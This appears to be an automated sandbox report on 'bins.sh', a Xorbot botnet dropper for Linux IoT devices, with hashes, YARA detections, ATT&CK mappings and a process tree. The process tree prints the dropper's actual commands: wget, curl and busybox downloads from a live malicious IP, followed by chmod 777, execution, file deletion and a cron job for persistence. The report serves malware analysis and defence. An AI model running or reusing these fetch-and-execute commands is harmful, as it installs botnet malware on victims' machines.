xorbot | 0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4

Analysis

max time kernel
140s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 12:26

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General

Target

bins.sh
Size

10KB
MD5

6d5db893b3366e9b599c283095502209
SHA1

20bb6748cb464f266c5d2d9c823902992608268f
SHA256

0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4
SHA512

45f4e7d8a98a99afa62b6cb40a23cf17a1f7092fa2ae5d73ec70ee10484cbb7c2c4f99c8d78583d66818b993c8dba10403e372929a16f59b418982dea1c58402
SSDEEP

96:T5p4I7ZprzE5FJM0Rl8rLNfSMgZeTy4U83SuuhlnzQMsnyI7ZgdurzE5FZ60Rl8h:T5p41M5f9U83Suuhln07LU83Su4hlnY

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2136) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
689	chmod
715	chmod
847	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	691	bins.sh
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	716	bins.sh
/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	848	bins.sh

Renames itself 1 IoCs

pid	Process
717	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.HE60YI	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/915/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/930/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/944/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/948/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/968/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/6/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/9/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/147/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/917/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/977/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/786/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/789/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/799/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/888/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/900/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/945/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1017/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1031/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/3/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/13/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/926/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/997/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1007/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/810/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/836/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/910/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/833/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/847/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/855/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/966/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1004/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/29/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/822/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/976/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/12/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/611/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/911/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/923/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/993/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1011/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1035/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/18/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/658/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/950/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/961/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/973/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1024/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1037/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/756/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/770/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1019/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/819/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/937/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/140/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/747/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/796/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/830/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/895/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/959/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/741/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/823/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/901/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1009/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	wget
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	curl
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	busybox
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	wget
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	curl
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	busybox
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	wget
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:660
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:662
- /usr/bin/wget
  wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Writes file to tmp directory
  PID:665
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:691
- /bin/rm
  rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:694
- /usr/bin/wget
  wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Writes file to tmp directory
  PID:695
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:698
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Writes file to tmp directory
  PID:711
- /bin/chmod
  chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:716
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:719
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:720
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:722
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:723
- /bin/rm
  rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:739
- /usr/bin/wget
  wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:769
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  PID:848
- /bin/rm
  rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  PID:850
- /usr/bin/wget
  wget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  PID:851

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.HE60YI

Filesize
210B

MD5
d4436c6509a949027b257a9d8e6dd0b9

SHA1
c4a34aaef18c269e3ad006fc8952687406e6a841

SHA256
d7e97254ed25021caa27324827af673316250dd705e6c18baf39fd1157270c79

SHA512
84b8f4798b160490f26c1cbaec51beecfd3ae945337f80743439da8eb648a303e0acf7d4a372af1a5e8761ddf2897b9256f6a1206ff9e7bbe9214cf9c3f6a531

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads